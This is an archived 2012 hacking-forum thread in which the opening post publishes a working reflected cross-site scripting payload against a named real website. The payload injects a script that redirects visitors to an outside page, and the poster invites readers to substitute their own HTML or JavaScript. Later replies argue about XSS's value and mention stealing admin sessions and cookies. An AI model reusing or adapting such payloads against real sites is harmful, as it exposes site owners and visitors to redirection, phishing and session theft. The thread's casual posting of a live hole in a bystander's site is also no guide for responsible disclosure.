+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: [XSS]Site Nobody Cares about!!![XSS] (/showthread.php?tid=2159440)
[XSS]Site Nobody Cares about!!![XSS] - Dyme - Jan 29, 2012
People are posting these, so meh.
Code
http://www.chachacharming.com/article.php?id=9"><script>window.location="http://pastehtml.com/view/bmdccy66h.html";</script>Edit: Redirect only works in firefox, feel free to input your own html/JS if you don't have it.
* - AnoNimTeck - Jan 29, 2012
Yea, i know. People started to post so many useless XSS challenges today!
It would be better if they stole the admin session with the XSS vulnerability. That's what i would call a nice job.
* - Pi - Jan 29, 2012
It's funny how you guys have no idea what XSS can actually do. Instead of trashing on it, learn its full potential. The challenges aren't to take over the site, or to cause harm to the site. The challenges are for fun and to learn more about the XSS attacks.
* - supracontra - Jan 29, 2012
Useless XSS? If you knew how to exploit it you wouldn't be calling it useless.
Reminds me, I should start submitting to my xssed again.
* - Cracker Jack In The Box - Jan 29, 2012
There are some cool video tutorials on youtube about cookie stealing etc through XSS and all kinds of attack vectors with it, people here just see the pop up alert box posts over and over and just assume thats as far as anyone ever takes XSS.
* - Ichi - Jan 29, 2012
(Jan 29, 2012 09:57 AM)Pi Wrote: It's funny how you guys have no idea what XSS can actually do. Instead of trashing on it, learn its full potential. The challenges aren't to take over the site, or to cause harm to the site. The challenges are for fun and to learn more about the XSS attacks.
Thank you Pi. I'm tired of skids talking trash about XSS. The things you can do with XSS are pretty serious and potentially more usefully than SQli. Not bashing on SQLi, it just seems like that's all people worry about now :/
On topic: Thanks for sharing
* - orunu - Jan 29, 2012
yes we get it XSS is a shitty useless thing i mean its not like i could use a non-peristent XSS to compromise your whole OS or anything... nope not at all..
* - Dyme - Feb 1, 2012
Did I ever trash XSS. Not one bit. I've just been seeing kids around these forums making whole threads about XSS vulnerabilities on sites that are completely random. XSS is a very common vulnerability, so there's no need to be prancing around every time you find one. It's as if I posted every SQLi vulnerability I find...
Read the thread more carefully before you flame plzzz...
* - Ichi - Feb 1, 2012
I wasn't referring to you and I don't think Pi was either. I was referring to the other people who posted on this thread.
* - orunu - Feb 1, 2012
(Feb 1, 2012 02:38 PM)Dyme Wrote: Did I ever trash XSS. Not one bit. I've just been seeing kids around these forums making whole threads about XSS vulnerabilities on sites that are completely random. XSS is a very common vulnerability, so there's no need to be prancing around every time you find one. It's as if I posted every SQLi vulnerability I find...
Read the thread more carefully before you flame plzzz...
well .gov's and .edu's may be random but being that domain its a "high profile" site whether it has low traffic or not and is a random one. and yes the random mom-and-pop .com .org .net's are pointless in posting (in a numerous ammount) unless your just starting out and are proud of your work and accomplishment of finding your first few XSS's.
* - Dyme - Feb 1, 2012
(Feb 1, 2012 02:43 PM)ichi139 Wrote: I wasn't referring to you and I don't think Pi was either. I was referring to the other people who posted on this thread.
Well that's good to hear considering I actually look up to him 😕
* - Mx. - Feb 1, 2012
(Jan 29, 2012 09:57 AM)Pi Wrote: It's funny how you guys have no idea what XSS can actually do. Instead of trashing on it, learn its full potential. The challenges aren't to take over the site, or to cause harm to the site. The challenges are for fun and to learn more about the XSS attacks.
XSS is and always will be 98% of the time more then fkken useless, so yeah XSS IS USELESS.